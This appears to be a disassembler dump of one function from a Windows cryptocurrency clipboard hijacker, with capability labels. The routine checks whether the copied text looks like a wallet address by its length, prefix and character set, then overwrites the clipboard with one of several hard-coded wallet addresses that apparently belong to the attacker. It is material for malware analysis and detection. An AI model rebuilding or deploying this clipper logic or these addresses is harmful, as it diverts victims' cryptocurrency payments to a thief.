Function at 0x401230
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x1a
jb 0x401251
cmp dword [ebp - 8], 0x6c
jbe 0x401258
xor al, al
jmp 0x401483
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x31
je 0x4012cd
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x33
je 0x4012cd
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x74
je 0x4012cd
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x7a
je 0x4012cd
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x4c
je 0x4012cd
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x34
je 0x4012cd
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x44
je 0x4012cd
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x42
je 0x4012cd
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x45
je 0x4012cd
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x50
je 0x4012cd
xor al, al
jmp 0x401483
mov dword [ebp - 0x18], 0
jmp 0x4012df
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 8]
jae 0x40134d
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x18]
movsx eax, byte [edx]
cmp eax, 0x30
je 0x401311
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
cmp edx, 0x4f
je 0x401311
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
cmp ecx, 0x49
jne 0x401318
xor al, al
jmp 0x401483
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x18]
movsx eax, byte [edx]
push eax
call sub.MSVCRT.dll_isalpha
add esp, 4
test eax, eax
jne 0x40134b
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
push edx
call sub.MSVCRT.dll_isdigit
add esp, 4
test eax, eax
jne 0x40134b
xor al, al
jmp 0x401483
jmp 0x4012d6
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x31
je 0x40136a
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x33
jne 0x401376
mov dword [ebp - 4], str.1of6uEzx5qfStF1HrVXaZ1eE3X4ntnbsx
jmp 0x40140b
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x74
je 0x40138c
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x7a
jne 0x401395
mov dword [ebp - 4], str.t1JQVnfzuqRWWAaYgvpXT4PzZzo2M3scQja
jmp 0x40140b
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x4c
jne 0x4013a9
mov dword [ebp - 4], str.LMimQj9RBdYbDTsV6k37TneN2Svi4e1PXF
jmp 0x40140b
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x34
jne 0x4013bd
mov dword [ebp - 4], str.4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQni58KYZqH43YSDeqY
jmp 0x40140b
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x44
jne 0x4013d1
mov dword [ebp - 4], str.DHDUtYKHtEU9w9Scyan47L2YhKiVqhpXxH
jmp 0x40140b
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x42
jne 0x4013e5
mov dword [ebp - 4], str.B5f1bkbcmXzwZtL5ua5HYFHKxFz3HFcNi8
jmp 0x40140b
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x45
jne 0x4013f9
mov dword [ebp - 4], str.EcqcbRssS5tMx1WKAVeT2KUcFWaWueywoz
jmp 0x40140b
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x50
jne 0x40140b
mov dword [ebp - 4], str.PRXRECu2m4gXtYFYPDpVAmYr5qM4u6UECk
mov edx, dword [ebp - 4]
push edx
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
add eax, 1
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0xc]
add edx, 1
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x401481
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov eax, dword [ebp - 0x14]
push eax
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, 1
mov esp, ebp
pop ebp
ret